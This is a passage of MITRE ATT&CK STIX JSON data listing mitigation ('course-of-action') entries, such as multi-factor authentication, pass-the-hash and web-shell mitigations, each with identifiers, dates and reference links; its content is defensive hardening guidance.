memory.","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--af093bc8-7b59-4e2a-9da8-8e839b4c50c6","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1219","external_id":"T1219"}],"modified":"2019-07-25T11:32:44.821Z","name":"Remote Access Tools Mitigation","description":"Properly configure firewalls, application firewalls, and proxies to limit outgoing traffic to sites and services used by remote access tools.\n\nNetwork intrusion detection and prevention systems that use network signatures may be able to prevent traffic to these services as well.\n\nUse application whitelisting to mitigate use of and installation of unapproved software.","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2022-10-21T15:52:06.295Z","name":"Multi-factor Authentication","description":"Use two or more pieces of evidence to authenticate to a system; such as username and password in addition to a token from a physical smart card or token generator.","x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.0","type":"course-of-action","id":"course-of-action--b045d015-6bed-4490-bd38-56b41ece59a0","created":"2019-06-10T20:53:36.319Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/M1032","external_id":"M1032"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--b52f41b9-ccf6-4da7-a6c0-167eeb71fbd8","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1176","external_id":"T1176"},{"source_name":"Technospot Chrome Extensions GP","description":"Mohta, A. (n.d.). Block Chrome Extensions using Google Chrome Group Policy Settings. Retrieved January 10, 2018.","url":"http://www.technospot.net/blogs/block-chrome-extensions-using-google-chrome-group-policy-settings/"}],"modified":"2019-07-24T14:41:17.903Z","name":"Browser Extensions Mitigation","description":"Only install browser extensions from trusted sources that can be verified. Ensure extensions that are installed are the intended ones as many malicious extensions will masquerade as legitimate ones.\n\nBrowser extensions for some browsers can be controlled through Group Policy. Set a browser extension white or black list as appropriate for your security policy. (Citation: Technospot Chrome Extensions GP)\n\nChange settings to prevent the browser from installing extensions without sufficient permissions.\n\nClose out all browser sessions when finished using them.","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-12-26T19:17:13.293Z","name":"Software Configuration","description":"Implement configuration changes to software (other than the operating system) to mitigate security risks associated to how the software operates.","x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.2","type":"course-of-action","id":"course-of-action--b5dbb4c5-b0b1-40b1-80b6-e9e84ab90067","created":"2019-07-19T14:40:23.529Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/M1054","external_id":"M1054"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--b70627f7-3b43-4c6f-8fc0-c918c41f8f72","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1207","external_id":"T1207"}],"modified":"2019-07-24T14:23:59.683Z","name":"DCShadow Mitigation","description":"This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of AD design features. For example, mitigating specific AD API calls will likely have unintended side effects, such as preventing DC replication from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identification of subsequent malicious behavior.","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--b7b2c89c-09c1-4b71-ae7c-000ec2893aab","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"T1050","url":"https://attack.mitre.org/mitigations/T1050","source_name":"mitre-attack"},{"source_name":"Beechey 2010","description":"Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.","url":"http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"},{"url":"http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html","description":"Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.","source_name":"Windows Commands JPCERT"},{"url":"https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm","description":"NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.","source_name":"NSA MS AppLocker"},{"source_name":"Corio 2008","description":"Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.","url":"http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"},{"source_name":"TechNet Applocker vs SRP","description":"Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.","url":"https://technet.microsoft.com/en-us/library/ee791851.aspx"}],"modified":"2020-01-17T16:45:23.647Z","name":"New Service Mitigation","description":"Limit privileges of user accounts and remediate Privilege Escalation vectors so only authorized administrators can create new services.\n\nIdentify and block unnecessary system utilities or potentially malicious software that may be used to create services by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--b8d57b16-d8e2-428c-a645-1083795b3445","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1092","external_id":"T1092"},{"url":"https://support.microsoft.com/en-us/kb/967715","description":"Microsoft. (n.d.). How to disable the Autorun functionality in Windows. Retrieved April 20, 2016.","source_name":"Microsoft Disable Autorun"},{"url":"https://technet.microsoft.com/en-us/library/cc772540(v=ws.10).aspx","description":"Microsoft. (2007, August 31). https://technet.microsoft.com/en-us/library/cc771759(v=ws.10).aspx. Retrieved April 20, 2016.","source_name":"TechNet Removable Media Control"}],"modified":"2019-07-24T18:09:33.072Z","name":"Communication Through Removable Media Mitigation","description":"Disable Autorun if it is unnecessary. (Citation: Microsoft Disable Autorun) Disallow or restrict removable media at an organizational policy level if they are not required for business operations. (Citation: TechNet Removable Media Control)","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--b91c2f9e-c1a0-44df-95f0-9e7c9d1d5e55","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1178","external_id":"T1178"},{"url":"https://technet.microsoft.com/library/cc755321.aspx","description":"Microsoft. (2014, November 19). Security Considerations for Trusts. Retrieved November 30, 2017.","source_name":"Microsoft Trust Considerations Nov 2014"},{"url":"https://technet.microsoft.com/library/cc794757.aspx","description":"Microsoft. (n.d.). Configuring SID Filter Quarantining on External Trusts. Retrieved November 30, 2017.","source_name":"Microsoft SID Filtering Quarantining Jan 2009"},{"url":"https://technet.microsoft.com/library/cc835085.aspx","description":"Microsoft. (2012, September 11). Command-Line Reference - Netdom Trust. Retrieved November 30, 2017.","source_name":"Microsoft Netdom Trust Sept 2012"},{"url":"https://adsecurity.org/?p=1640","description":"Metcalf, S. (2015, August 7). Kerberos Golden Tickets are Now More Golden. Retrieved December 1, 2017.","source_name":"AdSecurity Kerberos GT Aug 2015"}],"modified":"2019-07-25T11:37:35.427Z","name":"SID-History Injection Mitigation","description":"Clean up SID-History attributes after legitimate account migration is complete.\n\nConsider applying SID Filtering to interforest trusts, such as forest trusts and external trusts, to exclude SID-History from requests to access domain resources. SID Filtering ensures that any authentication requests over a trust only contain SIDs of security principals from the trusted domain (i.e. preventing the trusted domain from claiming a user has membership in groups outside of the domain).\n\nSID Filtering of forest trusts is enabled by default, but may have been disabled in some cases to allow a child domain to transitively access forest trusts. SID Filtering of external trusts is automatically enabled on all created external trusts using Server 2003 or later domain controllers. (Citation: Microsoft Trust Considerations Nov 2014) (Citation: Microsoft SID Filtering Quarantining Jan 2009) However note that SID Filtering is not automatically applied to legacy trusts or may have been deliberately disabled to allow inter-domain access to resources.\n\nSID Filtering can be applied by: (Citation: Microsoft Netdom Trust Sept 2012)\n\n* Disabling SIDHistory on forest trusts using the netdom tool (netdom trust /domain: /EnableSIDHistory:no on the domain controller). \n* Applying SID Filter Quarantining to external trusts using the netdom tool (netdom trust /domain: /quarantine:yes on the domain controller)\nApplying SID Filtering to domain trusts within a single forest is not recommended as it is an unsupported configuration and can cause breaking changes. (Citation: Microsoft Netdom Trust Sept 2012) (Citation: AdSecurity Kerberos GT Aug 2015) If a domain within a forest is untrustworthy then it should not be a member of the forest. In this situation it is necessary to first split the trusted and untrusted domains into separate forests where SID Filtering can be applied to an interforest trust.","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--b9f0c069-abbe-4a07-a245-2481219a1463","type":"course-of-action","created":"2019-06-11T17:06:56.230Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"M1048","url":"https://attack.mitre.org/mitigations/M1048"}],"modified":"2020-03-31T13:08:03.851Z","name":"Application Isolation and Sandboxing","description":"Restrict execution of code to a virtual environment on or in transit to an endpoint system.","x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--ba06d68a-4891-4eb5-b634-152e05ec60ee","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1030","external_id":"T1030"},{"source_name":"University of Birmingham C2","description":"Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.","url":"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"}],"modified":"2019-07-24T19:05:56.488Z","name":"Data Transfer Size Limits Mitigation","description":"Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary command and control infrastructure and malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool command and control signatures over time or construct protocols in such a way to avoid detection by common defensive tools. (Citation: University of Birmingham C2)","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--bb25b897-bfc7-4128-839d-52e9764dbfa6","type":"course-of-action","created":"2019-04-22T13:54:51.385Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://attack.mitre.org/mitigations/T1490","source_name":"mitre-attack","external_id":"T1490"},{"source_name":"Ready.gov IT DRP","url":"https://www.ready.gov/business/implementation/IT","description":"Ready.gov. (n.d.). IT Disaster Recovery Plan. Retrieved March 15, 2019."},{"source_name":"Beechey 2010","description":"Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.","url":"http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"},{"url":"http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html","description":"Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.","source_name":"Windows Commands JPCERT"},{"url":"https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm","description":"NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.","source_name":"NSA MS AppLocker"},{"source_name":"Corio 2008","description":"Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.","url":"http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"},{"source_name":"TechNet Applocker vs SRP","description":"Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.","url":"https://technet.microsoft.com/en-us/library/ee791851.aspx"}],"modified":"2020-01-17T16:45:23.917Z","name":"Inhibit System Recovery Mitigation","description":"Consider technical controls to prevent the disabling of services or deletion of files involved in system recovery. \n\nConsider implementing IT disaster recovery plans that contain procedures for taking regular data backups that can be used to restore organizational data.(Citation: Ready.gov IT DRP) Ensure backups are stored off system and is protected from common methods adversaries may use to gain access and destroy the backups to prevent recovery.\n\nIdentify potentially malicious software and audit and/or block it by using whitelisting(Citation: Beechey 2010) tools, like AppLocker,(Citation: Windows Commands JPCERT)(Citation: NSA MS AppLocker) or Software Restriction Policies(Citation: Corio 2008) where appropriate.(Citation: TechNet Applocker vs SRP)","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--bcc91b8c-f104-4710-964e-1d5409666736","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1100","external_id":"T1100"},{"source_name":"US-CERT Alert TA15-314A Web Shells","description":"US-CERT. (2015, November 13). Compromised Web Servers and Web Shells - Threat Awareness and Guidance. Retrieved June 8, 2016.","url":"https://www.us-cert.gov/ncas/alerts/TA15-314A"}],"modified":"2019-07-25T12:34:23.847Z","name":"Web Shell Mitigation","description":"Ensure that externally facing Web servers are patched regularly to prevent adversary access through [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068) to gain remote code access or through file inclusion weaknesses that may allow adversaries to upload files or scripts that are automatically served as Web pages. \n\nAudit account and group permissions to ensure that accounts used to manage servers do not overlap with accounts and permissions of users in the internal network that could be acquired through Credential Access and used to log into the Web server and plant a Web shell or pivot from the Web server into the internal network. (Citation: US-CERT Alert TA15-314A Web Shells)","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--bcee7b05-89a6-41a5-b7aa-fce4da7ede9e","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"T1075","url":"https://attack.mitre.org/mitigations/T1075","source_name":"mitre-attack"},{"url":"https://github.com/iadgov/Secure-Host-Baseline/blob/master/Windows/Group%20Policy%20Templates/en-US/SecGuide.adml","source_name":"GitHub IAD Secure Host Baseline UAC Filtering","description":"NSA IAD. (2017, January 24). MS Security Guide. Retrieved December 18, 2017."}],"modified":"2019-07-25T11:21:20.411Z","name":"Pass the Hash Mitigation","description":"Monitor systems and domain logs for unusual credential logon activity. Prevent access to [Valid Accounts](https://attack.mitre.org/techniques/T1078). Apply patch KB2871997 to Windows 7 and higher systems to limit the default access of accounts in the local administrator group. \n\nEnable pass the hash mitigations to apply UAC restrictions to local accounts on network logon. The associated Registry key is located HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\LocalAccountTokenFilterPolicy Through GPO: Computer Configuration > [Policies] > Administrative Templates > SCM: Pass the Hash Mitigations: Apply UAC restrictions to local accounts on network logons. (Citation: GitHub IAD Secure Host Baseline UAC Filtering)\n\nLimit credential overlap across systems to prevent the damage of credential compromise and reduce the adversary's ability to perform Lateral Movement between systems. Ensure that built-in and created local administrator accounts have complex, unique passwords. Do not allow a domain user to be in the local administrator group on multiple systems.","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--bd2554b8-634f-4434-a986-9b49c29da2ae","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"T1063","url":"https://attack.mitre.org/mitigations/T1063","source_name":"mitre-attack"},{"source_name":"Beechey 2010","description":"Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.","url":"http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"},{"url":"https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html","description":"Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.","source_name":"Windows Commands JPCERT"},{"url":"https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm","description":"NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.","source_name":"NSA MS AppLocker"},{"source_name":"Corio 2008","description":"Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.","url":"http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"},{"source_name":"TechNet Applocker vs SRP","description":"Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.","url":"https://technet.microsoft.com/en-us/library/ee791851.aspx"}],"modified":"2021-08-23T20:25:18.624Z","name":"Security Software Discovery Mitigation","description":"Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about local security software, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--beb45abb-11e8-4aef-9778-1f9ac249784f","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1088","external_id":"T1088"},{"source_name":"Github UACMe","description":"UACME Project. (2016, June 16). UACMe. Retrieved July 26, 2016.","url":"https://github.com/hfiref0x/UACME"}],"modified":"2019-07-24T14:13:23.637Z","name":"Bypass User Account Control Mitigation","description":"Remove users from the local administrator group on systems. Although UAC bypass techniques exist, it is still prudent to use the highest enforcement level for UAC when possible and mitigate bypass opportunities that exist with techniques such as [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038). \n\nCheck for common UAC bypass weaknesses on Windows systems to be aware of the risk posture and address issues where appropriate. (Citation: Github UACMe)","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--c085476e-1964-4d7f-86e1-d8657a7741e8","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"T1015","url":"https://attack.mitre.org/mitigations/T1015","source_name":"mitre-attack"},{"source_name":"TechNet RDP NLA","description":"Microsoft. (n.d.). Configure Network Level Authentication for Remote Desktop Services Connections. Retrieved June 6, 2016.","url":"https://technet.microsoft.com/en-us/library/cc732713.aspx"},{"source_name":"TechNet RDP Gateway","description":"Microsoft. (n.d.). Overview of Remote Desktop Gateway. Retrieved June 6, 2016.","url":"https://technet.microsoft.com/en-us/library/cc731150.aspx"},{"source_name":"Beechey 2010","description":"Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.","url":"http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"},{"url":"https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html","description":"Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.","source_name":"Windows Commands JPCERT"},{"url":"https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm","description":"NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.","source_name":"NSA MS AppLocker"},{"source_name":"Corio 2008","description":"Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.","url":"http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"},{"source_name":"TechNet Applocker vs SRP","description":"Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.","url":"https://technet.microsoft.com/en-us/library/ee791851.aspx"}],"modified":"2021-08-23T20:25:19.735Z","name":"Accessibility Features Mitigation","description":"To use this technique remotely, an adversary must use it in conjunction with RDP. Ensure that Network Level Authentication is enabled to force the remote desktop session to authenticate before the session is created and the login screen displayed. It is enabled by default on Windows Vista and later. (Citation: TechNet RDP NLA)\n\nIf possible, use a Remote Desktop Gateway to manage connections and security configuration of RDP within a network. (Citation: TechNet RDP Gateway)\n\nIdentify and block potentially malicious software that may be executed by an adversary with this technique by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--c1676218-c16a-41c9-8f7a-023779916e39","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"T1049","url":"https://attack.mitre.org/mitigations/T1049","source_name":"mitre-attack"},{"source_name":"Beechey 2010","description":"Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.","url":"http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"},{"url":"https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html","description":"Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.","source_name":"Windows Commands JPCERT"},{"url":"https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm","description":"NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.","source_name":"NSA MS AppLocker"},{"source_name":"Corio 2008","description":"Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.","url":"http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"},{"source_name":"TechNet Applocker vs SRP","description":"Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.","url":"https://technet.microsoft.com/en-us/library/ee791851.aspx"}],"modified":"2021-08-23T20:25:18.609Z","name":"System Network Connections Discovery Mitigation","description":"Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about network connections, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--c3cf2312-3aab-4aaf-86e6-ab3505430482","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1163","external_id":"T1163"}],"modified":"2019-07-25T11:29:48.385Z","name":"Rc.common Mitigation","description":"Limit privileges of user accounts so only authorized users can edit the rc.common file.","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--c47a9b55-8f61-4b82-b833-1db6242c754e","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1168","external_id":"T1168"}],"modified":"2019-08-17T12:10:09.748Z","name":"Local Job Scheduling Mitigation","description":"Limit privileges of user accounts and remediate Privilege Escalation vectors so only authorized users can create scheduled jobs. Identify and block unnecessary system utilities or potentially malicious software that may be used to schedule jobs using whitelisting tools.","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--c61e2da1-f51f-424c-b152-dc930d4f2e70","type":"course-of-action","created":"2019-02-01T14:35:39.565Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"T1480","source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1480"}],"modified":"2019-07-24T19:17:09.258Z","name":"Environmental Keying Mitigation","description":"This technique likely should not be mitigated with preventative controls because it may protect unintended targets from being compromised. If targeted, efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior if 